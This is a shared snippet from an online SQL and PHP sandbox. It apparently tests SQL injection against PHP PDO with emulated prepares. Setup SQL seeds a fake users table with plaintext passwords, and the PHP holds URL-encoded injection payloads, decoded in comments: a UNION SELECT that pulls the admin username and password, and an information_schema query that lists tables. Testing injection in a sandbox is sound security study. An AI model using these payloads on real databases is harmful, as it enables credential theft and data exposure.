Hi! Could we please enable some services and cookies to improve your experience and our website?

PHPize Online / SQLize Online  /  SQLtest Online

A A A
Login    Share code      Blog   FAQ

Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code

Copy Format Clear
-- Tạo bảng fruit gốc từ ví dụ CREATE TABLE fruit ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(50), sku VARCHAR(20) ); -- Tạo bảng users chứa thông tin nhạy cảm để exploit CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(100) UNIQUE, password VARCHAR(255), email VARCHAR(100), role VARCHAR(20) DEFAULT 'user' ); -- Tạo bảng orders với dữ liệu tài chính CREATE TABLE orders ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT, product_name VARCHAR(200), amount DECIMAL(10,2), status VARCHAR(20) DEFAULT 'pending', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (user_id) REFERENCES users(id) ); -- Tạo bảng admin_logs với thông tin hệ thống CREATE TABLE admin_logs ( id INT AUTO_INCREMENT PRIMARY KEY, action VARCHAR(100), user_id INT, timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP, ip_address VARCHAR(45), details TEXT ); -- Insert dữ liệu mẫu vào fruit INSERT INTO fruit (name, sku) VALUES ('apple', 'FRU-APL'), ('banana', 'FRU-BAN'), ('orange', 'FRU-ORG'), ('grape', 'FRU-GRP'); -- Insert dữ liệu nhạy cảm vào users INSERT INTO users (username, password, email, role) VALUES ('admin', 'P@ssw0rd123!', 'admin@company.com', 'admin'), ('john_doe', 'secret123', 'john@company.com', 'user'), ('jane_smith', 'mypassword', 'jane@company.com', 'manager'), ('bob_wilson', 'qwerty456', 'bob@company.com', 'user'); -- Insert dữ liệu orders INSERT INTO orders (user_id, product_name, amount, status) VALUES (1, 'Premium Software License', 9999.99, 'completed'), (2, 'Monthly Subscription', 29.99, 'pending'), (3, 'Enterprise Package', 15000.00, 'completed'), (4, 'Basic Plan', 9.99, 'active'); -- Insert admin logs INSERT INTO admin_logs (action, user_id, ip_address, details) VALUES ('LOGIN', 1, '192.168.1.100', 'Admin login successful'), ('DELETE_USER', 1, '192.168.1.100', 'Deleted inactive user account'), ('BACKUP_DB', 1, '192.168.1.100', 'Database backup completed'), ('CONFIG_CHANGE', 3, '192.168.1.101', 'Updated security settings');

Stuck with a problem? Got Error? Ask AI support!

Copy Clear
Copy Format Clear
<?php $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); #$_GET['col'] = urldecode('%5C%3F%23%00'); ## \?#\0 $_GET['col'] = urldecode('sku'); #$_GET['name'] = urldecode("x%60%20FROM%20(SELECT%20table_name%20AS%20%60'x%60%20FROM%20information_schema.tables)y%3B%23"); ## x` FROM (SELECT table_name AS `'x` FROM information_schema.tables)y;# $_GET['name'] = urldecode("banana'%20UNION%20SELECT%201%2C%20CONCAT(username%2C'%3A'%2Cpassword)%2C%203%20FROM%20users%20WHERE%20role%3D'admin'%20--%20"); // banana' UNION SELECT 1, CONCAT(username,':',password), 3 FROM users WHERE role='admin' -- $col = '`' . str_replace('`', '``', $_GET['col']) . '`'; $stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?"); $stmt->execute([$_GET['name']]); $data = $stmt->fetchAll(PDO::FETCH_ASSOC); foreach($data as $v) { echo join(' : ', $v) . PHP_EOL; } ?>
Copy Clear